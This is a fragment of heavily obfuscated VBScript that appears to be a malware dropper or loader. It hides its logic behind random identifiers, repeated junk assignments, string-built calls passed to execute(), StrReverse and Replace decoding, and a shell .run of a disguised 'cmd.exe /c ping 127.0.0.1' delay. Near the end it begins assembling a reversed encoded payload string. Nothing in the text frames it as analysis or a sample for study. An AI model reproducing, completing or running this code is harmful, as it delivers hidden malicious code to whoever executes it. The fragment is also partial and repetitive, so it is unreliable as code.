UaylalUMmYiTNnIYqtHvWRDBTZpiTULONdIudctmjtoTWNTWtqtyWXvRuKvPcOUNOKmqwuTlUvrvSTcPeYTevgYDCZvWUchNcIWR = vOnUGXGCKvoYNhgWSNWWXXLmTMXQUyYDKsnDhWNCWtmKRgDyUWqXqQLoXWCxCXJhNAGgmSjJPfWuzKOqcUddhcfTWdYvoSwWogJK
UaylalUMmYiTNnIYqtHvWRDBTZpiTULONdIudctmjtoTWNTWtqtyWXvRuKvPcOUNOKmqwuTlUvrvSTcPeYTevgYDCZvWUchNcIWR = MJOGpULFUSGWHHKLQnJNoJGOpoOADKXQHnJGCHvJBMOVOKKEBHGONHEWVAnyHLBYCClnHUJKZgMMUnMZXrHCHCCUKCKCnZHQZPUn( _
UaylalUMmYiTNnIYqtHvWRDBTZpiTULONdIudctmjtoTWNTWtqtyWXvRuKvPcOUNOKmqwuTlUvrvSTcPeYTevgYDCZvWUchNcIWR)
CaLicOcWWWcWNXHoZNorvoPPmxqwiZmgfggUTItNlJPPLsvsDXWWcMKxviWPWorTelYHIqTeGWMLUPUfCQQPTCDiePhCGqCoxsSD = azrtWUnJOWQNKDGnyLLQKWdZSPGSGfOWiiaKNuRJYtIkahDrUChDWLWgWhadZYUGJhifTcGLGUUWURfCYBkWWaOMGWUOkTNIOlGG( _
CaLicOcWWWcWNXHoZNorvoPPmxqwiZmgfggUTItNlJPPLsvsDXWWcMKxviWPWorTelYHIqTeGWMLUPUfCQQPTCDiePhCGqCoxsSD + _
UaylalUMmYiTNnIYqtHvWRDBTZpiTULONdIudctmjtoTWNTWtqtyWXvRuKvPcOUNOKmqwuTlUvrvSTcPeYTevgYDCZvWUchNcIWR , _
$*s(rm
^*" , _
azrtWUnJOWQNKDGnyLLQKWdZSPGSGfOWiiaKNuRJYtIkahDrUChDWLWgWhadZYUGJhifTcGLGUUWURfCYBkWWaOMGWUOkTNIOlGG(HLRNLGHdNltUYPmLsOwcAnsKCJctzHMcwcYMUULLGOkcbwLALAxUbLOUMjOqrcDoUmDslKyNrcAcagUqnlCncPLADzLkDOcWUWAw + "VlhANJWzUqNPORSOkNZdNOhowIxkiYoWLNNCGKrJjyNbjHfDAx","VlhANJWzUqNPORSOkNZdNOhowIxkiYoWLNNCGKrJjyNbjHfDAx",HLRNLGHdNltUYPmLsOwcAnsKCJctzHMcwcYMUULLGOkcbwLALAxUbLOUMjOqrcDoUmDslKyNrcAcagUqnlCncPLADzLkDOcWUWAw) )
fpLypUfWXggUWoDWqLDjPUUmKNPgcfLlDfUjUSWHALtecDQPWPRBcjQXjLQWzlWUoLdqZjCyOjdPBpKWZgKZPLWsWZWAWtgqSNPp = azrtWUnJOWQNKDGnyLLQKWdZSPGSGfOWiiaKNuRJYtIkahDrUChDWLWgWhadZYUGJhifTcGLGUUWURfCYBkWWaOMGWUOkTNIOlGG("cmLkAGfROzNZwckBcOUQqwSxPWrztAcAwfGRIrOmNPQLMMxscPRwTZGZsUJsLgWlRZWuQkOTMxcJRuRNrCMQUlJzJocfTnUrcMpPOcdLkAGfROzNZwckBcOUQqwSxPWrztAcAwfGRIrOmNPQLMMxscPRwTZGZsUJsLgWlRZWuQkOTMxcJRuRNrCMQUlJzJocfTnUrcMpPOc.exLkAGfROzNZwckBcOUQqwSxPWrztAcAwfGRIrOmNPQLMMxscPRwTZGZsUJsLgWlRZWuQkOTMxcJRuRNrCMQUlJzJocfTnUrcMpPOce /c pLkAGfROzNZwckBcOUQqwSxPWrztAcAwfGRIrOmNPQLMMxscPRwTZGZsUJsLgWlRZWuQkOTMxcJRuRNrCMQUlJzJocfTnUrcMpPOcing 1LkAGfROzNZwckBcOUQqwSxPWrztAcAwfGRIrOmNPQLMMxscPRwTZGZsUJsLgWlRZWuQkOTMxcJRuRNrCMQUlJzJocfTnUrcMpPOc27.LkAGfROzNZwckBcOUQqwSxPWrztAcAwfGRIrOmNPQLMMxscPRwTZGZsUJsLgWlRZWuQkOTMxcJRuRNrCMQUlJzJocfTnUrcMpPOc0.0LkAGfROzNZwckBcOUQqwSxPWrztAcAwfGRIrOmNPQLMMxscPRwTZGZsUJsLgWlRZWuQkOTMxcJRuRNrCMQUlJzJocfTnUrcMpPOc.1 -nLkAGfROzNZwckBcOUQqwSxPWrztAcAwfGRIrOmNPQLMMxscPRwTZGZsUJsLgWlRZWuQkOTMxcJRuRNrCMQUlJzJocfT
SgMUrPWUzRUCqhMyWOjIAGlCoeCMcWaakAGjGRKWBTGNAUxKadZILecNNIzNeuBPCrynWqUMUUcSrNcUJDRXqUcYGUiKMiwWYgzNo.run fpLypUfWXggUWoDWqLDjPUUmKNPgcfLlDfUjUSWHALtecDQPWPRBcjQXjLQWzlWUoLdqZjCyOjdPBpKWZgKZPLWsWZWAWtgqSNPp, 0, true
end if
Function WNNZDncLWjnkjQpcLWKnCjrcoLqLzyOBNPaLgIlWlWjOgGkrnOMWNkOWHGWUcsnpkqWKxmjfzPnunlsaDlaUHzHUzBURvskjWnxz(ZWroKKCjLWKviPyCMcvKGttLnjlbqdqhRsetMiNJtZPuuUvtKqOHRcezgUZHxDKceecOkuPaqsKiKNpGjtgxgbgoqheKbpvPAikq,AkCqXvUADQDGsIdUWYBuBcWvtdWSAqcdSWGUuNsNWdJrBnMWLMcLXBDDRPcBcePCcJcHRcAccSGndBYYBWdWlDquqnJJSnUtNNlX)
LpcvggILPDLqULvnNOUWImpgqONcLUKOZoKIdlGOovOvWniNhiPjnIjJyKKUmKByDGWgkKeZWcfnsROTRpvOSWUWunOOcfecWDRn = "WNNZDncLWjnkjQpcLWKnCjrcoLqLzyOBNPaLgIlWlWjOgGkrnOMWNkOWHGWUcsnpkqWKxmjfzPnunlsaDlaUHzHUzBURvskjWnxz = "
LpcvggILPDLqULvnNOUWImpgqONcLUKOZoKIdlGOovOvWniNhiPjnIjJyKKUmKByDGWgkKeZWcfnsROTRpvOSWUWunOOcfecWDRn = LpcvggILPDLqULvnNOUWImpgqONcLUKOZoKIdlGOovOvWniNhiPjnIjJyKKUmKByDGWgkKeZWcfnsROTRpvOSWUWunOOcfecWDRn + "InStr(ZWroKKCjLWKviPyCMcvKGttLnjlbqdqhRsetMiNJtZPuuUvtKqOHRcezgUZHxDKceecOkuPaqsKiKNpGjtgxgbgoqheKbpvPAikq, AkCqXvUADQDGsIdUWYBuBcWvtdWSAqcdSWGUuNsNWdJrBnMWLMcLXBDDRPcBcePCcJcHRcAccSGndBYYBWdWlDquqnJJSnUtNNlX)"
execute(LpcvggILPDLqULvnNOUWImpgqONcLUKOZoKIdlGOovOvWniNhiPjnIjJyKKUmKByDGWgkKeZWcfnsROTRpvOSWUWunOOcfecWDRn)
End Function
vCBsrCWUAEmMMqNjcRkvovDqddzaOAReWdGzUtrUzwaqgpDEMvXXWNLRODqGUclzddQZdrwqNCXuUdLtqsdePuocXMaPedALhaRd:IpNBlWnIhImimOJUcNDMIOUKXKvNXsXWbprjNbMAIstbWqKRUDxeccPeYNWvCkhoGJBpTYQicUPfgNnXJmGKnapluqnMxAONYLgU:KnOOzhoKUKcdcfgYGqccXZPGKldrUDUhxnYDPNKZXDoNzJxcPGMeJUSpWqKKoWluxgODnPbJGoUpuqoKgXxliIDHiyicwZfPPsgi = "&*&#&&
**%!!&&@$
@#&$#&*!&+$4(%&&%(@44
#$##!!&#&&&@
@&@&}*":wwRfgWxwLwocoaLcaRNlAqXbUNcxPcPSJwIpcHPpAcjHWAnhXUwBrrKziRSODHsyCLfhwKCGHRYcxRxULMCNBUhXUsBlSpacKngn:SqdUAUnSsScWcasLqsrKrKizcDHCLpLNZqckcsALrpMsYDsMiKwWcLYOJsYcfLZNosUHcDkUkkWkysncskoDDzHTGtDKkLacDBZX:
vCBsrCWUAEmMMqNjcRkvovDqddzaOAReWdGzUtrUzwaqgpDEMvXXWNLRODqGUclzddQZdrwqNCXuUdLtqsdePuocXMaPedALhaRd:IpNBlWnIhImimOJUcNDMIOUKXKvNXsXWbprjNbMAIstbWqKRUDxeccPeYNWvCkhoGJBpTYQicUPfgNnXJmGKnapluqnMxAONYLgU:KnOOzhoKUKcdcfgYGqccXZPGKldrUDUhxnYDPNKZXDoNzJxcPGMeJUSpWqKKoWluxgODnPbJGoUpuqoKgXxliIDHiyicwZfPPsgi = "&*&#&&
**%!!&&@$
@#&$#&*!&+$4(%&&%(@44
#$##!!&#&&&@
@&@&}*":wwRfgWxwLwocoaLcaRNlAqXbUNcxPcPSJwIpcHPpAcjHWAnhXUwBrrKziRSODHsyCLfhwKCGHRYcxRxULMCNBUhXUsBlSpacKngn:SqdUAUnSsScWcasLqsrKrKizcDHCLpLNZqckcsALrpMsYDsMiKwWcLYOJsYcfLZNosUHcDkUkkWkysncskoDDzHTGtDKkLacDBZX:
vCBsrCWUAEmMMqNjcRkvovDqddzaOAReWdGzUtrUzwaqgpDEMvXXWNLRODqGUclzddQZdrwqNCXuUdLtqsdePuocXMaPedALhaRd:IpNBlWnIhImimOJUcNDMIOUKXKvNXsXWbprjNbMAIstbWqKRUDxeccPeYNWvCkhoGJBpTYQicUPfgNnXJmGKnapluqnMxAONYLgU:KnOOzhoKUKcdcfgYGqccXZPGKldrUDUhxnYDPNKZXDoNzJxcPGMeJUSpWqKKoWluxgODnPbJGoUpuqoKgXxliIDHiyicwZfPPsgi = "&*&#&&
**%!!&&@$
@#&$#&*!&+$4(%&&%(@44
#$##!!&#&&&@
@&@&}*":wwRfgWxwLwocoaLcaRNlAqXbUNcxPcPSJwIpcHPpAcjHWAnhXUwBrrKziRSODHsyCLfhwKCGHRYcxRxULMCNBUhXUsBlSpacKngn:SqdUAUnSsScWcasLqsrKrKizcDHCLpLNZqckcsALrpMsYDsMiKwWcLYOJsYcfLZNosUHcDkUkkWkysncskoDDzHTGtDKkLacDBZX:
vCBsrCWUAEmMMqNjcRkvovDqddzaOAReWdGzUtrUzwaqgpDEMvXXWNLRODqGUclzddQZdrwqNCXuUdLtqsdePuocXMaPedALhaRd:IpNBlWnIhImimOJUcNDMIOUKXKvNXsXWbprjNbMAIstbWqKRUDxeccPeYNWvCkhoGJBpTYQicUPfgNnXJmGKnapluqnMxAONYLgU:KnOOzhoKUKcdcfgYGqccXZPGKldrUDUhxnYDPNKZXDoNzJxcPGMeJUSpWqKKoWluxgODnPbJGoUpuqoKgXxliIDHiyicwZfPPsgi = "&*&#&&
**%!!&&@$
@#&$#&*!&+$4(%&&%(@44
#$##!!&#&&&@
@&@&}*":wwRfgWxwLwocoaLcaRNlAqXbUNcxPcPSJwIpcHPpAcjHWAnhXUwBrrKziRSODHsyCLfhwKCGHRYcxRxULMCNBUhXUsBlSpacKngn:SqdUAUnSsScWcasLqsrKrKizcDHCLpLNZqckcsALrpMsYDsMiKwWcLYOJsYcfLZNosUHcDkUkkWkysncskoDDzHTGtDKkLacDBZX:
vCBsrCWUAEmMMqNjcRkvovDqddzaOAReWdGzUtrUzwaqgpDEMvXXWNLRODqGUclzddQZdrwqNCXuUdLtqsdePuocXMaPedALhaRd:IpNBlWnIhImimOJUcNDMIOUKXKvNXsXWbprjNbMAIstbWqKRUDxeccPeYNWvCkhoGJBpTYQicUPfgNnXJmGKnapluqnMxAONYLgU:KnOOzhoKUKcdcfgYGqccXZPGKldrUDUhxnYDPNKZXDoNzJxcPGMeJUSpWqKKoWluxgODnPbJGoUpuqoKgXxliIDHiyicwZfPPsgi = "&*&#&&
**%!!&&@$
@#&$#&*!&+$4(%&&%(@44
#$##!!&#&&&@
@&@&}*":wwRfgWxwLwocoaLcaRNlAqXbUNcxPcPSJwIpcHPpAcjHWAnhXUwBrrKziRSODHsyCLfhwKCGHRYcxRxULMCNBUhXUsBlSpacKngn:SqdUAUnSsScWcasLqsrKrKizcDHCLpLNZqckcsALrpMsYDsMiKwWcLYOJsYcfLZNosUHcDkUkkWkysncskoDDzHTGtDKkLacDBZX:
vCBsrCWUAEmMMqNjcRkvovDqddzaOAReWdGzUtrUzwaqgpDEMvXXWNLRODqGUclzddQZdrwqNCXuUdLtqsdePuocXMaPedALhaRd:IpNBlWnIhImimOJUcNDMIOUKXKvNXsXWbprjNbMAIstbWqKRUDxeccPeYNWvCkhoGJBpTYQicUPfgNnXJmGKnapluqnMxAONYLgU:KnOOzhoKUKcdcfgYGqccXZPGKldrUDUhxnYDPNKZXDoNzJxcPGMeJUSpWqKKoWluxgODnPbJGoUpuqoKgXxliIDHiyicwZfPPsgi = "&*&#&&
**%!!&&@$
@#&$#&*!&+$4(%&&%(@44
#$##!!&#&&&@
@&@&}*":wwRfgWxwLwocoaLcaRNlAqXbUNcxPcPSJwIpcHPpAcjHWAnhXUwBrrKziRSODHsyCLfhwKCGHRYcxRxULMCNBUhXUsBlSpacKngn:SqdUAUnSsScWcasLqsrKrKizcDHCLpLNZqckcsALrpMsYDsMiKwWcLYOJsYcfLZNosUHcDkUkkWkysncskoDDzHTGtDKkLacDBZX:
Function azrtWUnJOWQNKDGnyLLQKWdZSPGSGfOWiiaKNuRJYtIkahDrUChDWLWgWhadZYUGJhifTcGLGUUWURfCYBkWWaOMGWUOkTNIOlGG(ZWroKKCjLWKviPyCMcvKGttLnjlbqdqhRsetMiNJtZPuuUvtKqOHRcezgUZHxDKceecOkuPaqsKiKNpGjtgxgbgoqheKbpvPAikq,AkCqXvUADQDGsIdUWYBuBcWvtdWSAqcdSWGUuNsNWdJrBnMWLMcLXBDDRPcBcePCcJcHRcAccSGndBYYBWdWlDquqnJJSnUtNNlX,UfeBNUnvDmGOGBUTeGAPWIDUecOfUNQcuXbnNXunXUMOGCQecQjNAWCPIhQAIAMGhSWODQvTWfGCzkGSkDUqvdNPiCMMfYHDkUcA)
LpcvggILPDLqULvnNOUWImpgqONcLUKOZoKIdlGOovOvWniNhiPjnIjJyKKUmKByDGWgkKeZWcfnsROTRpvOSWUWunOOcfecWDRn = "azrtWUnJOWQNKDGnyLLQKWdZSPGSGfOWiiaKNuRJYtIkahDrUChDWLWgWhadZYUGJhifTcGLGUUWURfCYBkWWaOMGWUOkTNIOlGG = "
LpcvggILPDLqULvnNOUWImpgqONcLUKOZoKIdlGOovOvWniNhiPjnIjJyKKUmKByDGWgkKeZWcfnsROTRpvOSWUWunOOcfecWDRn = LpcvggILPDLqULvnNOUWImpgqONcLUKOZoKIdlGOovOvWniNhiPjnIjJyKKUmKByDGWgkKeZWcfnsROTRpvOSWUWunOOcfecWDRn + "Replace"
LpcvggILPDLqULvnNOUWImpgqONcLUKOZoKIdlGOovOvWniNhiPjnIjJyKKUmKByDGWgkKeZWcfnsROTRpvOSWUWunOOcfecWDRn = LpcvggILPDLqULvnNOUWImpgqONcLUKOZoKIdlGOovOvWniNhiPjnIjJyKKUmKByDGWgkKeZWcfnsROTRpvOSWUWunOOcfecWDRn + "(ZWroKKCjLWKviPyCMcvKGttLnjlbqdqhRsetMiNJtZPuuUvtKqOHRcezgUZHxDKceecOkuPaqsKiKNpGjtgxgbgoqheKbpvPAikq ,AkCqXvUADQDGsIdUWYBuBcWvtdWSAqcdSWGUuNsNWdJrBnMWLMcLXBDDRPcBcePCcJcHRcAccSGndBYYBWdWlDquqnJJSnUtNNlX, UfeBNUnvDmGOGBUTeGAPWIDUecOfUNQcuXbnNXunXUMOGCQecQjNAWCPIhQAIAMGhSWODQvTWfGCzkGSkDUqvdNPiCMMfYHDkUcA)"
execute(LpcvggILPDLqULvnNOUWImpgqONcLUKOZoKIdlGOovOvWniNhiPjnIjJyKKUmKByDGWgkKeZWcfnsROTRpvOSWUWunOOcfecWDRn)
End Function
vCBsrCWUAEmMMqNjcRkvovDqddzaOAReWdGzUtrUzwaqgpDEMvXXWNLRODqGUclzddQZdrwqNCXuUdLtqsdePuocXMaPedALhaRd:IpNBlWnIhImimOJUcNDMIOUKXKvNXsXWbprjNbMAIstbWqKRUDxeccPeYNWvCkhoGJBpTYQicUPfgNnXJmGKnapluqnMxAONYLgU:KnOOzhoKUKcdcfgYGqccXZPGKldrUDUhxnYDPNKZXDoNzJxcPGMeJUSpWqKKoWluxgODnPbJGoUpuqoKgXxliIDHiyicwZfPPsgi = "&*&#&&
**%!!&&@$
@#&$#&*!&+$4(%&&%(@44
#$##!!&#&&&@
@&@&}*":wwRfgWxwLwocoaLcaRNlAqXbUNcxPcPSJwIpcHPpAcjHWAnhXUwBrrKziRSODHsyCLfhwKCGHRYcxRxULMCNBUhXUsBlSpacKngn:SqdUAUnSsScWcasLqsrKrKizcDHCLpLNZqckcsALrpMsYDsMiKwWcLYOJsYcfLZNosUHcDkUkkWkysncskoDDzHTGtDKkLacDBZX:
vCBsrCWUAEmMMqNjcRkvovDqddzaOAReWdGzUtrUzwaqgpDEMvXXWNLRODqGUclzddQZdrwqNCXuUdLtqsdePuocXMaPedALhaRd:IpNBlWnIhImimOJUcNDMIOUKXKvNXsXWbprjNbMAIstbWqKRUDxeccPeYNWvCkhoGJBpTYQicUPfgNnXJmGKnapluqnMxAONYLgU:KnOOzhoKUKcdcfgYGqccXZPGKldrUDUhxnYDPNKZXDoNzJxcPGMeJUSpWqKKoWluxgODnPbJGoUpuqoKgXxliIDHiyicwZfPPsgi = "&*&#&&
**%!!&&@$
@#&$#&*!&+$4(%&&%(@44
#$##!!&#&&&@
@&@&}*":wwRfgWxwLwocoaLcaRNlAqXbUNcxPcPSJwIpcHPpAcjHWAnhXUwBrrKziRSODHsyCLfhwKCGHRYcxRxULMCNBUhXUsBlSpacKngn:SqdUAUnSsScWcasLqsrKrKizcDHCLpLNZqckcsALrpMsYDsMiKwWcLYOJsYcfLZNosUHcDkUkkWkysncskoDDzHTGtDKkLacDBZX:
vCBsrCWUAEmMMqNjcRkvovDqddzaOAReWdGzUtrUzwaqgpDEMvXXWNLRODqGUclzddQZdrwqNCXuUdLtqsdePuocXMaPedALhaRd:IpNBlWnIhImimOJUcNDMIOUKXKvNXsXWbprjNbMAIstbWqKRUDxeccPeYNWvCkhoGJBpTYQicUPfgNnXJmGKnapluqnMxAONYLgU:KnOOzhoKUKcdcfgYGqccXZPGKldrUDUhxnYDPNKZXDoNzJxcPGMeJUSpWqKKoWluxgODnPbJGoUpuqoKgXxliIDHiyicwZfPPsgi = "&*&#&&
**%!!&&@$
@#&$#&*!&+$4(%&&%(@44
#$##!!&#&&&@
@&@&}*":wwRfgWxwLwocoaLcaRNlAqXbUNcxPcPSJwIpcHPpAcjHWAnhXUwBrrKziRSODHsyCLfhwKCGHRYcxRxULMCNBUhXUsBlSpacKngn:SqdUAUnSsScWcasLqsrKrKizcDHCLpLNZqckcsALrpMsYDsMiKwWcLYOJsYcfLZNosUHcDkUkkWkysncskoDDzHTGtDKkLacDBZX:
vCBsrCWUAEmMMqNjcRkvovDqddzaOAReWdGzUtrUzwaqgpDEMvXXWNLRODqGUclzddQZdrwqNCXuUdLtqsdePuocXMaPedALhaRd:IpNBlWnIhImimOJUcNDMIOUKXKvNXsXWbprjNbMAIstbWqKRUDxeccPeYNWvCkhoGJBpTYQicUPfgNnXJmGKnapluqnMxAONYLgU:KnOOzhoKUKcdcfgYGqccXZPGKldrUDUhxnYDPNKZXDoNzJxcPGMeJUSpWqKKoWluxgODnPbJGoUpuqoKgXxliIDHiyicwZfPPsgi = "&*&#&&
**%!!&&@$
@#&$#&*!&+$4(%&&%(@44
#$##!!&#&&&@
@&@&}*":wwRfgWxwLwocoaLcaRNlAqXbUNcxPcPSJwIpcHPpAcjHWAnhXUwBrrKziRSODHsyCLfhwKCGHRYcxRxULMCNBUhXUsBlSpacKngn:SqdUAUnSsScWcasLqsrKrKizcDHCLpLNZqckcsALrpMsYDsMiKwWcLYOJsYcfLZNosUHcDkUkkWkysncskoDDzHTGtDKkLacDBZX:
vCBsrCWUAEmMMqNjcRkvovDqddzaOAReWdGzUtrUzwaqgpDEMvXXWNLRODqGUclzddQZdrwqNCXuUdLtqsdePuocXMaPedALhaRd:IpNBlWnIhImimOJUcNDMIOUKXKvNXsXWbprjNbMAIstbWqKRUDxeccPeYNWvCkhoGJBpTYQicUPfgNnXJmGKnapluqnMxAONYLgU:KnOOzhoKUKcdcfgYGqccXZPGKldrUDUhxnYDPNKZXDoNzJxcPGMeJUSpWqKKoWluxgODnPbJGoUpuqoKgXxliIDHiyicwZfPPsgi = "&*&#&&
**%!!&&@$
@#&$#&*!&+$4(%&&%(@44
#$##!!&#&&&@
@&@&}*":wwRfgWxwLwocoaLcaRNlAqXbUNcxPcPSJwIpcHPpAcjHWAnhXUwBrrKziRSODHsyCLfhwKCGHRYcxRxULMCNBUhXUsBlSpacKngn:SqdUAUnSsScWcasLqsrKrKizcDHCLpLNZqckcsALrpMsYDsMiKwWcLYOJsYcfLZNosUHcDkUkkWkysncskoDDzHTGtDKkLacDBZX:
vCBsrCWUAEmMMqNjcRkvovDqddzaOAReWdGzUtrUzwaqgpDEMvXXWNLRODqGUclzddQZdrwqNCXuUdLtqsdePuocXMaPedALhaRd:IpNBlWnIhImimOJUcNDMIOUKXKvNXsXWbprjNbMAIstbWqKRUDxeccPeYNWvCkhoGJBpTYQicUPfgNnXJmGKnapluqnMxAONYLgU:KnOOzhoKUKcdcfgYGqccXZPGKldrUDUhxnYDPNKZXDoNzJxcPGMeJUSpWqKKoWluxgODnPbJGoUpuqoKgXxliIDHiyicwZfPPsgi = "&*&#&&
**%!!&&@$
@#&$#&*!&+$4(%&&%(@44
#$##!!&#&&&@
@&@&}*":wwRfgWxwLwocoaLcaRNlAqXbUNcxPcPSJwIpcHPpAcjHWAnhXUwBrrKziRSODHsyCLfhwKCGHRYcxRxULMCNBUhXUsBlSpacKngn:SqdUAUnSsScWcasLqsrKrKizcDHCLpLNZqckcsALrpMsYDsMiKwWcLYOJsYcfLZNosUHcDkUkkWkysncskoDDzHTGtDKkLacDBZX:
Function MJOGpULFUSGWHHKLQnJNoJGOpoOADKXQHnJGCHvJBMOVOKKEBHGONHEWVAnyHLBYCClnHUJKZgMMUnMZXrHCHCCUKCKCnZHQZPUn(ZWroKKCjLWKviPyCMcvKGttLnjlbqdqhRsetMiNJtZPuuUvtKqOHRcezgUZHxDKceecOkuPaqsKiKNpGjtgxgbgoqheKbpvPAikq)
LpcvggILPDLqULvnNOUWImpgqONcLUKOZoKIdlGOovOvWniNhiPjnIjJyKKUmKByDGWgkKeZWcfnsROTRpvOSWUWunOOcfecWDRn = "MJOGpULFUSGWHHKLQnJNoJGOpoOADKXQHnJGCHvJBMOVOKKEBHGONHEWVAnyHLBYCClnHUJKZgMMUnMZXrHCHCCUKCKCnZHQZPUn = "
LpcvggILPDLqULvnNOUWImpgqONcLUKOZoKIdlGOovOvWniNhiPjnIjJyKKUmKByDGWgkKeZWcfnsROTRpvOSWUWunOOcfecWDRn = LpcvggILPDLqULvnNOUWImpgqONcLUKOZoKIdlGOovOvWniNhiPjnIjJyKKUmKByDGWgkKeZWcfnsROTRpvOSWUWunOOcfecWDRn + "StrReverse"
LpcvggILPDLqULvnNOUWImpgqONcLUKOZoKIdlGOovOvWniNhiPjnIjJyKKUmKByDGWgkKeZWcfnsROTRpvOSWUWunOOcfecWDRn = LpcvggILPDLqULvnNOUWImpgqONcLUKOZoKIdlGOovOvWniNhiPjnIjJyKKUmKByDGWgkKeZWcfnsROTRpvOSWUWunOOcfecWDRn + "(ZWroKKCjLWKviPyCMcvKGttLnjlbqdqhRsetMiNJtZPuuUvtKqOHRcezgUZHxDKceecOkuPaqsKiKNpGjtgxgbgoqheKbpvPAikq)"
execute(LpcvggILPDLqULvnNOUWImpgqONcLUKOZoKIdlGOovOvWniNhiPjnIjJyKKUmKByDGWgkKeZWcfnsROTRpvOSWUWunOOcfecWDRn)
End Function
Function WSkcupjuuowqlIdJNAOKnGRpHipDWcaimCljybpeCdhLyCPNJPKTLnYDoHaOGpNAuJdcmahqdDRCJwACwRdPUccKZChhDLroMNWL(eUPMzUIDDBXgeKloUyUDOJcUCyQoeTLykUnIxawNUlIxNDOUPOKMOOWGWPLUJTjhngzbQLWCzoyDvbyPbclNwTTDXDIIoqpKxYSO,OGcLQAespTdcdlZDONWPLAxxQlDAmeQlWusNSIAMOBAKifGeNASxNbJBWbAlbQbLNQeLBRQxyODceBeLchOOWNieyTUcCYlMONLe,LUQJShvRKLUqANxrsUlPaGDsqLrfecqJcvWmWvnpDHtihvGBRbqJmGMGkUkGfGLNqTGNHBshdsfglwAwTLQrcxjOdPeMUBGeQptA)
WSkcupjuuowqlIdJNAOKnGRpHipDWcaimCljybpeCdhLyCPNJPKTLnYDoHaOGpNAuJdcmahqdDRCJwACwRdPUccKZChhDLroMNWL = TLJLSWEWTCPBLCFCZPZVUTRADVKCDMGSJEHIJYALEYGOARAPZNDWTBXAUJHWLCSGVWRHVXTBPOQVNCAMVVCQJKZIHGOAQDZCFZSD(eUPMzUIDDBXgeKloUyUDOJcUCyQoeTLykUnIxawNUlIxNDOUPOKMOOWGWPLUJTjhngzbQLWCzoyDvbyPbclNwTTDXDIIoqpKxYSO, OGcLQAespTdcdlZDONWPLAxxQlDAmeQlWusNSIAMOBAKifGeNASxNbJBWbAlbQbLNQeLBRQxyODceBeLchOOWNieyTUcCYlMONLe, LUQJShvRKLUqANxrsUlPaGDsqLrfecqJcvWmWvnpDHtihvGBRbqJmGMGkUkGfGLNqTGNHBshdsfglwAwTLQrcxjOdPeMUBGeQptA)
End Function
Function fNAtepssvOdzpOZDlDBgDRzaeRDNUMenlOBDGDNPfRccAPNNbRRzDcpRtScmcPWcCIHcRKIoaliYIIOcJfUGSCAMaUyIAGmOUDDs(eUPMzUIDDBXgeKloUyUDOJcUCyQoeTLykUnIxawNUlIxNDOUPOKMOOWGWPLUJTjhngzbQLWCzoyDvbyPbclNwTTDXDIIoqpKxYSO)
fNAtepssvOdzpOZDlDBgDRzaeRDNUMenlOBDGDNPfRccAPNNbRRzDcpRtScmcPWcCIHcRKIoaliYIIOcJfUGSCAMaUyIAGmOUDDs = StrReverse(eUPMzUIDDBXgeKloUyUDOJcUCyQoeTLykUnIxawNUlIxNDOUPOKMOOWGWPLUJTjhngzbQLWCzoyDvbyPbclNwTTDXDIIoqpKxYSO)
End Function
pZaKjBWTdWWwjiegGZrUGMPLSKgUJISSreekepqTbrhptGRqwdgBkqUdGCdhKCnNcReNrJGPrGSGCGQWWSDeNjlUrZUccahWDfGH = " "
aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW = "/ ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ /"
hBGbQwhSZKROryXLvKdRYoWIdRuWInUKOkpqKbXOcltGqGAYOdYrKKyvhYOqURmmJZAcWxuyOqeUqzlhSqwdcviQSmeDRYZqWMXc = fNAtepssvOdzpOZDlDBgDRzaeRDNUMenlOBDGDNPfRccAPNNbRRzDcpRtScmcPWcCIHcRKIoaliYIIOcJfUGSCAMaUyIAGmOUDDs("=
0BQ" & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & pZaKjBWTdWWwjiegGZrUGMPLSKgUJISSreekepqTbrhptGRqwdgBkqUdGCdhKCnNcReNrJGPrGSGCGQWWSDeNjlUrZUccahWDfGH & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & "
" & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & pZaKjBWTdWWwjiegGZrUGMPLSKgUJISSreekepqTbrhptGRqwdgBkqUdGCdhKCnNcReNrJGPrGSGCGQWWSDeNjlUrZUccahWDfGH & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & "
zBQ" & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & pZaKjBWTdWWwjiegGZrUGMPLSKgUJISSreekepqTbrhptGRqwdgBkqUdGCdhKCnNcReNrJGPrGSGCGQWWSDeNjlUrZUccahWDfGH & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & "
tBQ" & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & pZaKjBWTdWWwjiegGZrUGMPLSKgUJISSreekepqTbrhptGRqwdgBkqUdGCdhKCnNcReNrJGPrGSGCGQWWSDeNjlUrZUccahWDfGH & aPfKccWNGyxPpPJKwPcefHPQJkKwKAJmUPWPcNwTfsxdSPKYoHDWCGtsuORgqYfqDNADKWwcTwTnbhKqUliPaiSWTReGDegJiCDW & "
